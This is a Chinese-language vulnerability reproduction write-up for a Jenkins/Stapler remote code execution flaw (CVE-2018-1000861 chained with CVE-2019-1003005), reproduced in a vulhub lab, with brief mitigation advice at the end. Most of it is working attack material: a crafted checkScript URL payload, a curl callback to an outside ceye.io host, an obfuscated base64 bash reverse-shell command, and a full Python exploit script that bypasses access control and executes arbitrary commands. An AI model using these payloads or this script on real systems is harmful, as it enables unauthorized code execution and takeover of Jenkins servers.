0X01 漏洞介紹
Stapler Web框架中的釘書機/core/src/main/java/org/kohsuke/stapler/MetaClass.java中存在一個代碼執行漏洞，攻擊者可以使用該方法調用某些方法通過訪問並非旨在通過這種方式調用的特制URL來訪問Java對象。
0x02 影響版本
Jenkins 2.153及更早版本，LTS 2.138.3及更早版本
0x03 搭建環境
直接使用vulhub環境
0x04 漏洞復現
payload:
securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
public x(){
"touch /tmp/success".execute()
}
}
執行exp：檢查漏洞 python27 exp.py url “curl eppvh1.ceye.io ”
反彈shell：http://www.jackson-t.ca/runtime-exec-payloads.html Bash編碼反彈語句：
執行 ：
python27 exp.py url “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzIDA+JjE=}|{base64,-d}|{bash,-i} ”
Exp:
#!/usr/bin/python
# coding: UTF-8
# author: Orange Tsai(@orange_8361)
#
import sys
import requests
from enum import Enum
# remove bad SSL warnings
try:
requests.packages.urllib3.disable_warnings()
except:
pass
endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'
class mode(Enum):
ACL_PATCHED = 0
NOT_JENKINS = 1
READ_ENABLE = 2
READ_BYPASS = 3
ENTRY_NOTFOUND = 999
def usage():
print '''
Usage:
python exp.py <url> <cmd>
'''
def _log(msg, fail=False):
nb = '[*]'
if fail:
nb = '[-]'
print '%s %s' % (nb, msg)
def _get(url, params=None):
r = requests.get(url, verify=False, params=params)
return r.status_code, r.content
def _add_bypass(url):
return url + 'securityRealm/user/admin/'
def check(url):
flag, accessible = mode.ACL_PATCHED, False
# check ANONYMOUS_READ
status, content = _get(url)
if status == 200 and 'adjuncts' in content:
flag, accessible = mode.READ_ENABLE, True
_log('ANONYMOUS_READ enable!')
elif status == 403:
_log('ANONYMOUS_READ disable!')
# check ACL bypass, CVE-2018-1000861
status, content = _get(_add_bypass(url))
if status == 200 and 'adjuncts' in content:
flag, accessible = mode.READ_BYPASS, True
else:
flag = mode.NOT_JENKINS
# check entry point, CVE-2019-1003005
if accessible:
if flag is mode.READ_BYPASS:
url = _add_bypass(url)
status, content = _get(url + endpoint)
if status == 404:
flag = mode.ENTRY_NOTFOUND
return flag
def exploit(url, cmd):
payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex')
params = {
'sandbox': True,
'value': payload
}
status, content = _get(url + endpoint, params)
if status == 200:
_log('Exploit success!(it should be :P)')
elif status == 405:
_log('It seems Jenkins has patched the RCE gadget :(')
else:
_log('Exploit fail with HTTP status [%d]' % status, fail=True)
if 'stack trace' in content:
for _ in content.splitlines():
if _.startswith('Caused:'):
_log(_, fail=True)
if __name__ == '__main__':
if len(sys.argv) != 3:
usage()
exit()
url = sys.argv[1].rstrip('/') + '/'
cmd = sys.argv[2]
flag = check(url)
if flag is mode.ACL_PATCHED:
_log('It seems Jenkins is up-to-date(>2.137) :(', fail=True)
elif flag is mode.NOT_JENKINS:
_log('Is this Jenkins?', fail=True)
elif flag is mode.READ_ENABLE:
exploit(url, cmd)
elif flag is mode.READ_BYPASS:
_log('Bypass with CVE-2018-1000861!')
exploit(_add_bypass(url), cmd)
else:
_log('The `checkScript` is not found, please try other entries(see refs)', fail=True)
0x05 修復方案
1.盡量不要開放到公網
2.限制來源IP
3.升級到最新版